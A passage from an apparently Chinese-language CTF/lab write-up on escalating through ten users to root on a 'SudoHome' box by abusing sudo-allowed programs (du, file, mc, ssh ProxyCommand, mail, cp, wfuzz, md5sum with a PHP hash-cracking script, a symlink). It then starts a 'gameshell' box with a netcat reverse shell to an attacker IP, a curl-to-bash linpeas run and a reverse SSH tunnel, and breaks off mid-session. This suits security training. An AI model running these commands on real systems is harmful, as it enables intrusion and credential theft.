-b, --bytes &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; equivalent to '--apparent-size --block-size=1'<br>  -c, --total &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; produce a grand total<br>  -D, --dereference-args  dereference only symlinks that are listed on the<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  command line<br>  -d, --max-depth=N &nbsp; &nbsp; print the total for a directory (or file, with --all)<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  only if it is N or fewer levels below the command<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  line argument;  --max-depth=0 is the same as<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  --summarize<br> &nbsp; &nbsp;  --files0-from=F &nbsp; summarize disk usage of the<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  NUL-terminated file names specified in file F;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if F is -, then read names from standard input<br>  -H &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  equivalent to --dereference-args (-D)<br>  -h, --human-readable  print sizes in human readable format (e.g., 1K 234M 2G)<br> &nbsp; &nbsp;  --inodes &nbsp; &nbsp; &nbsp; &nbsp;  list inode usage information instead of block usage<br>  -k &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  like --block-size=1K<br>  -L, --dereference &nbsp; &nbsp; dereference all symbolic links<br>  -l, --count-links &nbsp; &nbsp; count sizes many times if hard linked<br>  -m &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  like --block-size=1M<br>  -P, --no-dereference  don't follow any symbolic links (this is the default)<br>  -S, --separate-dirs &nbsp; for directories do not include size of subdirectories<br> &nbsp; &nbsp;  --si &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  like -h, but use powers of 1000 not 1024<br>  -s, --summarize &nbsp; &nbsp; &nbsp; display only a total for each argument<br>  -t, --threshold=SIZE  exclude entries smaller than SIZE if positive,<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  or entries greater than SIZE if negative<br> &nbsp; &nbsp;  --time &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  show time of the last modification of any file in the<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  directory, or any of its subdirectories<br> &nbsp; &nbsp;  --time=WORD &nbsp; &nbsp; &nbsp; show time as WORD instead of modification time:<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  atime, access, use, ctime or status<br> &nbsp; &nbsp;  --time-style=STYLE  show times using STYLE, which can be:<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  full-iso, long-iso, iso, or +FORMAT;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  FORMAT is interpreted like in 'date'<br>  -X, --exclude-from=FILE  exclude files that match any pattern in FILE<br> &nbsp; &nbsp;  --exclude=PATTERN &nbsp;  exclude files that match PATTERN<br>  -x, --one-file-system &nbsp;  skip directories on different file systems<br> &nbsp; &nbsp;  --help &nbsp; &nbsp; display this help and exit<br> &nbsp; &nbsp;  --version  output version information and exit<br>\u200b<br>Display values are in units of the first available SIZE from --block-size,<br>and the DU_BLOCK_SIZE, BLOCK_SIZE and BLOCKSIZE environment variables.<br>Otherwise, units default to 1024 bytes (or 512 if POSIXLY_CORRECT is set).<br>\u200b<br>The SIZE argument is an integer and optional unit (example: 10K is 10*1024).<br>Units are K,M,G,T,P,E,Z,Y (powers of 1024) or KB,MB,... (powers of 1000).<br>\u200b<br>GNU coreutils online help: &lt;https:\/\/www.gnu.org\/software\/coreutils\/&gt;<br>Full documentation at: &lt;https:\/\/www.gnu.org\/software\/coreutils\/du&gt;<br>or available locally via: info '(coreutils) du invocation'<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\"> --files0-from=F &nbsp; summarize disk usage of the<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  NUL-terminated file names specified in file F;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if F is -, then read names from standard input<\/pre>\n\n\n\n<p>\u4fe1\u606f\u662f\u8fd9\u4e2a\u6587\u4ef6\u540d\u4ee5ASCII NUL\u5b57\u7b26\uff08\u5373\\0\uff09\u5206\u9694\u7684\u95ee\u9898\uff0c\u53ef\u4ee5\u4ece\u6587\u4ef6F\u4e2d\u8bfb\u53d6\u6587\u4ef6\u540d\u5217\u8868\uff0c\u907f\u514d\u4e86 \u201c\u6587\u4ef6\u540d\u542b\u7a7a\u683c\u3001\u6362\u884c\u201d \u5bfc\u81f4\u7684\u89e3\u6790\u9519\u8bef\u3002\u4f46\u662f\u5f53\u8be5F\u6587\u4ef6\u662f\u4e00\u4e2a\u6587\u4ef6\u7684\u5185\u5bb9\uff0c\u4f8b\u5982password.txt\u91cc\u9762\u7684\u5185\u5bb9\uff0c\u8fd9\u4e2a\u6587\u4ef6\u540d\u662f\u6ca1\u6709\u7684\u5c31\u4f1a\u53bb\u62a5\u9519\uff0c\u5e76\u4e14\u8bf4\u660e\u8fd9\u4e2a\u6587\u4ef6\u662f\u4e0d\u5b58\u5728\u7684\uff0c\u4f46\u662f\u62a5\u9519\u4f1a\u628a\u6587\u4ef6\u540d\u7ed9\u8bfb\u51fa\u6765\uff0c\u4e5f\u5c31\u662f\u4e0a\u9762\u6587\u4ef6\u7684\u5185\u5bb9<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">sudo -u user2 \/usr\/bin\/du --files0-from=\/home\/user2\/password.txt<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">user1@SudoHome:~$ sudo -u user2 \/usr\/bin\/du --files0-from=\/home\/user2\/password.txt<br>\/usr\/bin\/du: cannot access 'tLPi3BLMG2zmwvZ5z9rh'$'\\n': No such file or directory<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">user3<\/h3>\n\n\n\n<pre class=\"wp-block-preformatted\">user2@SudoHome:~$ sudo -l<br>Matching Defaults entries for user2 on SudoHome:<br> &nbsp;  env_reset, mail_badpass,<br> &nbsp;  secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin<br>\u200b<br>User user2 may run the following commands on SudoHome:<br> &nbsp;  (user3) NOPASSWD: \/usr\/bin\/file<\/pre>\n\n\n\n<p>\u67e5\u770b\u8be5\u547d\u4ee4\u7684\u4f5c\u7528<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">sudo -u user2 \/usr\/bin\/du --help<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">https:\/\/gtfobins.github.io\/gtfobins\/file\/#file-read \u4e0d\u8fc7\u53ef\u4ee5\u76f4\u63a5\u641c\u8fd9\u4e2a\u547d\u4ee4\u600e\u4e48\u53bb\u63d0\u6743<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">LFILE=file_to_read<br>sudo file -f $LFILE<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">user2@SudoHome:~$ sudo -u user3 \/usr\/bin\/file -f \/home\/user3\/password.txt<br>TFqxDyfGO69DP1lyjt0f: cannot open `TFqxDyfGO69DP1lyjt0f' (No such file or directory)<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">user4<\/h3>\n\n\n\n<pre class=\"wp-block-preformatted\">user3@SudoHome:~$ sudo -l<br>Matching Defaults entries for user3 on SudoHome:<br> &nbsp;  env_reset, mail_badpass,<br> &nbsp;  secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin<br>\u200b<br>User user3 may run the following commands on SudoHome:<br> &nbsp;  (user4) NOPASSWD: \/usr\/bin\/mc<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">user3@SudoHome:~$ mc -help<br>Usage:<br>  mc [OPTION\u2026] [this_dir] [other_panel_dir]<br>\u200b<br>GNU Midnight Commander 4.8.26<br>\u200b<br>\u200b<br>Help Options:<br>  -h, --help &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  Show help options<br>  --help-all &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  Show all help options<br>  --help-terminal &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Terminal options<br>  --help-color &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  Color options<br>\u200b<br>Application Options:<br>  -V, --version &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Displays the current version<br>  -f, --datadir &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Print data directory<br>  -F, --datadir-info &nbsp; &nbsp; &nbsp;  Print extended info about used data directories<br>  --configure-options &nbsp; &nbsp; &nbsp; Print configure options<br>  -P, --printwd=&lt;file&gt; &nbsp; &nbsp;  Print last working directory to specified file<br>  -U, --subshell &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  Enables subshell support (default)<br>  -u, --nosubshell &nbsp; &nbsp; &nbsp; &nbsp;  Disables subshell support<br>  -l, --ftplog=&lt;file&gt; &nbsp; &nbsp; &nbsp; Log ftp dialog to specified file<br>  -v, --view=&lt;file&gt; &nbsp; &nbsp; &nbsp; &nbsp; Launches the file viewer on a file<br>  -e, --edit=&lt;file&gt; ... &nbsp; &nbsp; Edit files<br>\u200b<br>\u200b<br>Please send any bug reports (including the output of 'mc -V')<br>\u200b<\/pre>\n\n\n\n<p>\u67e5\u770b\u4e00\u4e0bmc\u547d\u4ee4\u662f\u505a\u4ec0\u4e48\u7684<\/p>\n\n\n\n<p>\u800c\u5728 -u \u4e4b\u540e\u4f1a\u8fdb\u5165\u4ea4\u4e92\u5f0fshell<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">-u, --nosubshell &nbsp; &nbsp; &nbsp; &nbsp;  Disables subshell support<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">user@SudoHome:\/home\/user3$<\/pre>\n\n\n\n<p>\u53d1\u73b0\u662f\u8fd9\u6837\u7684\uff0c\u8f93\u5165whoami\u547d\u4ee4\u518d\u9000\u51fa\u53d1\u73b0\u56de\u663e\u7684\u662fuser4<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\u76f4\u63a5\u8fdb\u5165cat \/home\/user4\/password.txt<\/pre>\n\n\n\n<p>\u53d1\u73b0\u6210\u529f<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">user4@SudoHome:\/home\/user3$ whoami<br>user4<br>\u200b<br>user4@SudoHome:\/home\/user3$ cat \/home\/user4\/password.txt<br>B0aWh2XHpp5hOIVtCUbn<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">user5<\/h3>\n\n\n\n<pre class=\"wp-block-preformatted\">user4@SudoHome:~$ sudo -l<br>Matching Defaults entries for user4 on SudoHome:<br> &nbsp;  env_reset, mail_badpass,<br> &nbsp;  secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin<br>\u200b<br>User user4 may run the following commands on SudoHome:<br> &nbsp;  (user5) NOPASSWD: \/usr\/bin\/ssh<br>\u53d1\u73b0\u662fssh<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">user4@SudoHome:~$ ssh --help<br>unknown option -- -<br>usage: ssh [-46AaCfGgKkMNnqsTtVvXxYy] [-B bind_interface]<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [-b bind_address] [-c cipher_spec] [-D [bind_address:]port]<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [-E log_file] [-e escape_char] [-F configfile] [-I pkcs11]<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [-i identity_file] [-J [user@]host[:port]] [-L address]<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [-l login_name] [-m mac_spec] [-O ctl_cmd] [-o option] [-p port]<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [-Q query_option] [-R address] [-S ctl_path] [-W host:port]<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [-w local_tun[:remote_tun]] destination [command]<br>\u200b<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">https:\/\/gtfobins.github.io\/gtfobins\/ssh\/#sudo<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">user4@SudoHome:~$ sudo  -u  user5 \/usr\/bin\/ssh -o ProxyCommand=';sh 0&lt;&amp;2 1&gt;&amp;2' x<br>$ ls<br>password.txt<br>$ cat \/home\/user5\/password.txt<br>GZ5KErjFycaYHZGj7GcI<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">user6<\/h3>\n\n\n\n<pre class=\"wp-block-preformatted\">user5@SudoHome:~$ sudo -l<br>Matching Defaults entries for user5 on SudoHome:<br> &nbsp;  env_reset, mail_badpass,<br> &nbsp;  secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin<br>\u200b<br>User user5 may run the following commands on SudoHome:<br> &nbsp;  (user6) NOPASSWD: \/usr\/bin\/rev<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">https:\/\/gtfobins.github.io\/gtfobins\/rev\/#sudo<br>user5@SudoHome:~$ sudo -u user6 \/usr\/bin\/rev \/home\/user6\/password.txt | rev<br>Z5cWU36wQhxAVGJbGwoL<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">user7<\/h3>\n\n\n\n<pre class=\"wp-block-preformatted\">user6@SudoHome:~$ sudo -l<br>Matching Defaults entries for user6 on SudoHome:<br> &nbsp;  env_reset, mail_badpass,<br> &nbsp;  secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin<br>\u200b<br>User user6 may run the following commands on SudoHome:<br> &nbsp;  (user7) NOPASSWD: \/usr\/bin\/cp<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">user6@SudoHome:\/home\/user7$ ls -al<br>total 24<br>drwxr-xr-x  2 user7 user7 4096 Nov 16 08:35 .<br>drwxr-xr-x 12 root  root  4096 Nov 16 08:35 ..<br>-rw-r--r--  1 user7 user7  220 Apr 18  2019 .bash_logout<br>-rw-r--r--  1 user7 user7 3526 Apr 18  2019 .bashrc<br>-rw-------  1 user7 user7 &nbsp; 21 Nov 16 08:35 password.txt<br>-rw-r--r--  1 user7 user7  807 Apr 18  2019 .profile<br>\u53d1\u73b0.profile\u662f\u53ef\u8bfb<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">https:\/\/gtfobins.github.io\/gtfobins\/cp\/#suid<br>user6@SudoHome:\/home\/user7$ sudo -u user7 \/usr\/bin\/cp \/home\/user7\/password.txt \/home\/user7\/.profile<br>user6@SudoHome:\/home\/user7$ cat .pro*<br>HLoKAOu86miWIYKdyVx3<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">user8<\/h3>\n\n\n\n<pre class=\"wp-block-preformatted\">user7@SudoHome:~$ sudo -l<br>Matching Defaults entries for user7 on SudoHome:<br> &nbsp;  env_reset, mail_badpass,<br> &nbsp;  secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin<br>\u200b<br>User user7 may run the following commands on SudoHome:<br> &nbsp;  (user8) NOPASSWD: \/usr\/bin\/mail<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">user7@SudoHome:~$ touch \/tmp\/111<br>user7@SudoHome:~$ sudo -u user8 \/usr\/bin\/mail -f \/tmp\/111<br>Mail version 8.1.2 01\/15\/2001.  Type ? for help.<br>\"\/tmp\/111\": 0 messages [Read only]<br>&amp; !\/bin\/bash<br>user8@SudoHome:\/home\/user7$ cat \/home\/user8\/password.txt<br>UxeGoUq8xqBRxyWVQPYK<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">user9<\/h3>\n\n\n\n<pre class=\"wp-block-preformatted\">user8@SudoHome:~$ sudo -l<br>Matching Defaults entries for user8 on SudoHome:<br> &nbsp;  env_reset, mail_badpass,<br> &nbsp;  secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin<br>\u200b<br>User user8 may run the following commands on SudoHome:<br> &nbsp;  (user9) NOPASSWD: \/usr\/bin\/wfuzz<br>wfuzz\u662f\u4e00\u4e2a\u5173\u4e8e\u6a21\u7cca\u6d4b\u8bd5\u7684\u5de5\u5177\uff0c\u6587\u4ef6\u4e2d\u7684\u4e00\u884c\u5185\u5bb9\u4f1a\u4f5c\u4e3a FUZZ \u7684 payload\uff0cwfuzz \u4f1a\u5728\u8f93\u51fa\u8868\u683c\u7684 Payload \u5217\u91cc\u539f\u6837\u6253\u5370\u8fd9\u4e00\u884c\uff0c\u4ece\u800c\u6cc4\u9732\u5bc6\u7801\u3002<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">user8@SudoHome:~$ sudo -u user9 \/usr\/bin\/wfuzz -w \/home\/user9\/password.txt http:\/\/127.0.0.1\/FUZZ<br> \/usr\/lib\/python3\/dist-packages\/wfuzz\/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.<br>********************************************************<br>* Wfuzz 3.1.0 - The Web Fuzzer &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *<br>********************************************************<br>\u200b<br>Target: http:\/\/127.0.0.1\/FUZZ<br>Total requests: 1<br>\u200b<br>=====================================================================<br>ID &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Response &nbsp; Lines &nbsp;  Word &nbsp; &nbsp; &nbsp; Chars &nbsp; &nbsp; &nbsp; Payload &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br>=====================================================================<br>\u200b<br>000000001: &nbsp; 404 &nbsp; &nbsp; &nbsp;  9 L &nbsp; &nbsp;  31 W &nbsp; &nbsp; &nbsp; 271 Ch &nbsp; &nbsp;  \"peqkSBCDKvVxxNwcq1j4\" &nbsp; <br>\u200b<br>Total time: 0<br>Processed Requests: 1<br>Filtered Requests: 0<br>Requests\/sec.: 0<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">user10<\/h3>\n\n\n\n<pre class=\"wp-block-preformatted\">user9@SudoHome:~$ sudo -l<br>Matching Defaults entries for user9 on SudoHome:<br> &nbsp;  env_reset, mail_badpass,<br> &nbsp;  secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin<br>\u200b<br>User user9 may run the following commands on SudoHome:<br> &nbsp;  (user10) NOPASSWD: \/usr\/bin\/md5sum<\/pre>\n\n\n\n<p>md5sum<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">user9@SudoHome:~$ sudo -u user10 \/usr\/bin\/md5sum --help<br>Usage: \/usr\/bin\/md5sum [OPTION]... [FILE]...<br>Print or check MD5 (128-bit) checksums.<br>\u200b<br>With no FILE, or when FILE is -, read standard input.<br>\u200b<br>  -b, --binary &nbsp; &nbsp; &nbsp; &nbsp; read in binary mode<br>  -c, --check &nbsp; &nbsp; &nbsp; &nbsp;  read MD5 sums from the FILEs and check them<br> &nbsp; &nbsp;  --tag &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  create a BSD-style checksum<br>  -t, --text &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; read in text mode (default)<br>  -z, --zero &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end each output line with NUL, not newline,<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; and disable file name escaping<br>\u200b<br>The following five options are useful only when verifying checksums:<br> &nbsp; &nbsp;  --ignore-missing  don't fail or report status for missing files<br> &nbsp; &nbsp;  --quiet &nbsp; &nbsp; &nbsp; &nbsp;  don't print OK for each successfully verified file<br> &nbsp; &nbsp;  --status &nbsp; &nbsp; &nbsp; &nbsp; don't output anything, status code shows success<br> &nbsp; &nbsp;  --strict &nbsp; &nbsp; &nbsp; &nbsp; exit non-zero for improperly formatted checksum lines<br>  -w, --warn &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; warn about improperly formatted checksum lines<br>\u200b<br> &nbsp; &nbsp;  --help &nbsp; &nbsp; display this help and exit<br> &nbsp; &nbsp;  --version  output version information and exit<br>\u200b<br>The sums are computed as described in RFC 1321.  When checking, the input<br>should be a former output of this program.  The default mode is to print a<br>line with checksum, a space, a character indicating input mode ('*' for binary,<br>' ' for text or where binary is insignificant), and name for each FILE.<br>\u200b<br>GNU coreutils online help: &lt;https:\/\/www.gnu.org\/software\/coreutils\/&gt;<br>Full documentation at: &lt;https:\/\/www.gnu.org\/software\/coreutils\/md5sum&gt;<br>or available locally via: info '(coreutils) md5sum invocation'<\/pre>\n\n\n\n<p>md5sum \u662f\u53ef\u4ee5\u8ba1\u7b97\u5b57\u7b26\u4e32\/\u6587\u4ef6\u7684md5\u503c<\/p>\n\n\n\n<p>\u67e5\u770b\u6587\u4ef6\u662f13k\u7684<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">-rw-------  1 user10 user10 &nbsp; 13 Nov 16 08:35 password.txt<\/pre>\n\n\n\n<p>\u770b\u4e00\u4e0b\u4ed6\u7684\u4e00\u4e9b\u5176\u4ed6\u4e1c\u897f<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">user9@SudoHome:~$ echo '1' &gt; 1.txt<br>user9@SudoHome:~$ ls -al<br>total 32<br>drwxr-xr-x  3 user9 user9 4096 Nov 24 07:27 .<br>drwxr-xr-x 12 root  root  4096 Nov 16 08:35 ..<br>-rw-r--r--  1 user9 user9 &nbsp;  2 Nov 24 07:27 1.txt<br>-rw-r--r--  1 user9 user9  220 Apr 18  2019 .bash_logout<br>-rw-r--r--  1 user9 user9 3526 Apr 18  2019 .bashrc<br>drwxr-xr-x  3 user9 user9 4096 Nov 24 07:20 .config<br>-rw-------  1 user9 user9 &nbsp; 21 Nov 16 08:35 password.txt<br>-rw-r--r--  1 user9 user9  807 Apr 18  2019 .profile<br>user9@SudoHome:~$ cat 1.txt<br>1<br>user9@SudoHome:~$ echo '11' &gt; 11.txt<br>user9@SudoHome:~$ ls -al<br>total 36<br>drwxr-xr-x  3 user9 user9 4096 Nov 24 07:28 .<br>drwxr-xr-x 12 root  root  4096 Nov 16 08:35 ..<br>-rw-r--r--  1 user9 user9 &nbsp;  3 Nov 24 07:28 11.txt<br>-rw-r--r--  1 user9 user9 &nbsp;  2 Nov 24 07:27 1.txt<\/pre>\n\n\n\n<p>\u53d1\u73b0\u662f\u81ea\u52a8\u52a0\u4e00\u4e2a\u5b57\u7b26\uff0c\u5e94\u8be5\u662f\u52a0\u4e86\u6362\u884c\u7b26<\/p>\n\n\n\n<p>\u5982\u679c echo \u91cd\u5b9a\u5411\u65f6 \u4f7f\u7528 -n \u53c2\u6570 \u5c31\u4e0d\u4f1a\u591a\u51fa\u6362\u884c\u7b26<\/p>\n\n\n\n<p>\u90a3suer10\u7684password\u5e94\u8be5\u662f12\u5b57\u8282\u52a0\u4e00\u4e2a\u6362\u884c\u7b26<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">user9@SudoHome:~$ sudo -u user10 md5sum ..\/user10\/password.txt<br>65e31d336be184593812c18533fa4fa2  ..\/user10\/password.txt<br>\u67e5\u770b\u4ed6\u7684md5\u54c8\u5e0c\u503c<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;?php<br>$targetHash = '65e31d336be184593812c18533fa4fa2';<br>$start_time = microtime(true);<br>$file = '\/usr\/share\/wordlists\/rockyou.txt';<br>$handle = fopen($file, \"r\");<br>if ($handle) {<br> &nbsp; &nbsp;while (($line = fgets($handle)) !== false) {<br>if (md5($line) === $targetHash) {<br> &nbsp; &nbsp;$end_time = microtime(true);<br> &nbsp; &nbsp;$elapsed_time = $end_time - $start_time;<br> &nbsp; &nbsp;echo \"Found: \" . $line;<br> &nbsp; &nbsp;echo \"Time elapsed: \" . round($elapsed_time, 4) . \" seconds\\n\";<br> &nbsp; &nbsp;fclose($handle);<br> &nbsp; &nbsp;exit;<br>}<br>}<br> &nbsp; &nbsp;fclose($handle);<br> &nbsp; &nbsp;$end_time = microtime(true);<br> &nbsp; &nbsp;$elapsed_time = $end_time - $start_time;<br> &nbsp; &nbsp;echo \"Not found.\\n\";<br> &nbsp; &nbsp;echo \"Search completed in: \" . round($elapsed_time, 4) . \" seconds\\n\";<br>}<br>?&gt;<\/pre>\n\n\n\n<p>\u811a\u672c\u76f4\u63a5\u7206\u7834<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">php try123.php<br>Found: morrinsville<br>Time elapsed: 0.0666 seconds<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">root<\/h3>\n\n\n\n<pre class=\"wp-block-preformatted\">user10@SudoHome:~$ sudo -l<br>Matching Defaults entries for user10 on SudoHome:<br> &nbsp;  env_reset, mail_badpass,<br> &nbsp;  secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin<br>\u200b<br>User user10 may run the following commands on SudoHome:<br> &nbsp;  (ALL) NOPASSWD: \/usr\/bin\/cat \/home\/user10\/.important<\/pre>\n\n\n\n<p>\u5229\u7528\u77ed\u94fe\u63a5\u5c06\/root\/user.txt\u548c\/root\/root.txt\u4f9d\u6b21\u5199\u5165.important\u6587\u4ef6\u5e76\u8bfb\u53d6\u5220\u9664<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">user10@SudoHome:~$ rm -f .important<br>user10@SudoHome:~$ ln -s \/root\/root.txt .important<br>user10@SudoHome:~$ sudo \/usr\/bin\/cat \/home\/user10\/.important<br>flag{root-f522d1d715970073a6413474ca0e0f63}<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">gameshell<\/h2>\n\n\n\n<p>\u4e2d\u95f4\u6253\u4e86\u597d\u51e0\u6b21\uff0c\u90fd\u6ca1\u6253\u8fdb\u53bb\ud83e\udd21<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">nmap 192.168.3.74<br>22 80 7681 \u7aef\u53e3<br>\u8fdb\u53bb7681\u53d1\u73b0\u662f\u4e00\u4e2a\u4ea4\u4e92\u5f0fshell\uff0c\u662f\u4e00\u4e2a\u5c0f\u6e38\u620f \u4e0d\u7ba1\u4e86\uff0c\u4e0d\u60f3\u6253\uff0c\u76f4\u63a5\u53cd\u5f39shell\u770b\u672c\u5730\u53bb<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">busybox nc 192.168.3.219 4444 -e \/bin\/bash<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">nc -lvvp 4444<\/pre>\n\n\n\n<p>\u8dd1\u2f00\u904dlinpeas<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">curl -L https:\/\/github.com\/carlospolop\/PEASS-ng\/releases\/latest\/download\/linpeas.sh | bash<\/pre>\n\n\n\n<p>\u53d1\u73b0\u6709\u8d26\u53f7\u663e\u793a\u51fa\u6765<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">admin:nimda<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u672c\u5730\u8f6c\u53d1\u4e00\u4e0b ssh -N -R 127.0.0.1:8888:127.0.0.1:9876 kali@192.168.3.219<br>[mission 1] $ ssh -N -R 127.0.0.1:9999:127.0.0.1:9876 wea5e1@192.168.3.219<br>ssh -N -R 127.0.0.1:9999:127.0.0.1:9876 wea5e1@192.168.3.219<br>The authenticity of host '192.168.3.219 (192.168.3.219)' can't be established.<br>ECDSA key fingerprint is SHA256:nUWirmUT31d7OjVHs33wBQ0lYTiXqg5uVTRfSEYj64E.<br>Are you sure you want to continue connecting (yes\/no\/[fingerprint])? yes<br>yes<br>Could not create directory '\/var\/www\/.ssh' (Permission denied).<br>Failed to add the host to the list of known hosts (\/var\/www\/.ssh\/known_hosts).<br>wea5e1@192.168.3.219's password:<\/pre>\n\n\n\n<p>\u53d1\u73b0\u9700\u8981\u8d26\u53f7\u548c\u5bc6\u7801\uff0c\u4f7f\u7528\u4e0a\u9762\u7684\u53bb\u767b\u5f55<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">eviden@GameShell:\/$ 